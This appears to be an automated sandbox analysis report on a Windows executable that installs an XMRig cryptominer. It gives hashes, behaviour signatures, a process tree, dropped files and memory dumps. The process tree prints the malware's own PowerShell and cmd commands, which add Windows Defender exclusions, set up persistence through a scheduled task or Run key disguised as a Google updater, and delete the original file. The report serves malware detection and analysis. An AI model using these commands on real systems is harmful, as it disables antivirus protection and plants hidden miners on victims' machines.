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Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

24/10/2024, 20:11

241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    1799s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/10/2024, 20:08

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4368
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3588
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (16).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4936
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1156
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2968
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:64
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4624
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1576
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4360
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2312

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b7436173901db2a61c67bc8ae5dd8dbf

            SHA1

            74b52630fd8698405fd414a57edd67a87869d750

            SHA256

            16a8fa36abcd7a2384d9bc91a17657cad0a7c9ff176a6e8f49e94afdf8818f33

            SHA512

            f636c1f2ecdc08151388bdc55bf03557e26c4b17b0e4dc27a49faebf61a996ac084485ef6e08ba24f214e8388eff03ae1cd5960b1ff160d37c76c3f38dcd270e

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5fcwnica.zxn.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/1980-12-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/1980-16-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/1980-13-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/1980-7-0x0000016FE2100000-0x0000016FE2122000-memory.dmp

            Filesize

            136KB

          • memory/1980-1-0x00007FF8192F3000-0x00007FF8192F5000-memory.dmp

            Filesize

            8KB

          • memory/2312-107-0x00007FF6F5B00000-0x00007FF6F5D11000-memory.dmp

            Filesize

            2.1MB

          • memory/2312-48-0x00007FF6F5B00000-0x00007FF6F5D11000-memory.dmp

            Filesize

            2.1MB

          • memory/2968-108-0x00007FF77E2D0000-0x00007FF77E2E6000-memory.dmp

            Filesize

            88KB

          • memory/2968-113-0x00007FF77E2D0000-0x00007FF77E2E6000-memory.dmp

            Filesize

            88KB

          • memory/4360-106-0x0000029F32A50000-0x0000029F32A70000-memory.dmp

            Filesize

            128KB

          • memory/4360-140-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-166-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-164-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-162-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-160-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-158-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-156-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-154-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-152-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-150-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-148-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-146-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-105-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-144-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-142-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-110-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-109-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-138-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-112-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-136-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-114-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-116-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-118-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-120-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-122-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-124-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-126-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-128-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-130-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-132-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4360-134-0x00007FF668970000-0x00007FF669164000-memory.dmp

            Filesize

            8.0MB

          • memory/4368-35-0x00007FF7EEDF0000-0x00007FF7EF001000-memory.dmp

            Filesize

            2.1MB

          • memory/4368-0-0x00007FF7EEDF0000-0x00007FF7EF001000-memory.dmp

            Filesize

            2.1MB

          • memory/4612-28-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/4612-18-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/4612-30-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/4612-31-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/4612-33-0x00007FF8192F0000-0x00007FF819DB1000-memory.dmp

            Filesize

            10.8MB

          • memory/4988-75-0x0000024B9F6D0000-0x0000024B9F6DA000-memory.dmp

            Filesize

            40KB

          • memory/4988-67-0x0000024B9F450000-0x0000024B9F46C000-memory.dmp

            Filesize

            112KB

          • memory/4988-74-0x0000024B9F6C0000-0x0000024B9F6C6000-memory.dmp

            Filesize

            24KB

          • memory/4988-73-0x0000024B9F690000-0x0000024B9F698000-memory.dmp

            Filesize

            32KB

          • memory/4988-72-0x0000024B9F6E0000-0x0000024B9F6FA000-memory.dmp

            Filesize

            104KB

          • memory/4988-71-0x0000024B9F680000-0x0000024B9F68A000-memory.dmp

            Filesize

            40KB

          • memory/4988-70-0x0000024B9F6A0000-0x0000024B9F6BC000-memory.dmp

            Filesize

            112KB

          • memory/4988-69-0x0000024B9F530000-0x0000024B9F53A000-memory.dmp

            Filesize

            40KB

          • memory/4988-68-0x0000024B9F470000-0x0000024B9F525000-memory.dmp

            Filesize

            724KB